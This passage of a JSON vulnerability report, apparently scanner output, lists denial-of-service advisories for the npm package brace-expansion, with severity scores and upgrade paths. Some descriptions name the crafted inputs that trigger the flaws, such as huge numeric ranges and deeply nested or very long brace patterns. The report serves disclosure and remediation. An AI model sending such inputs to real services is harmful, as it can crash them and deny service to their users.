"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 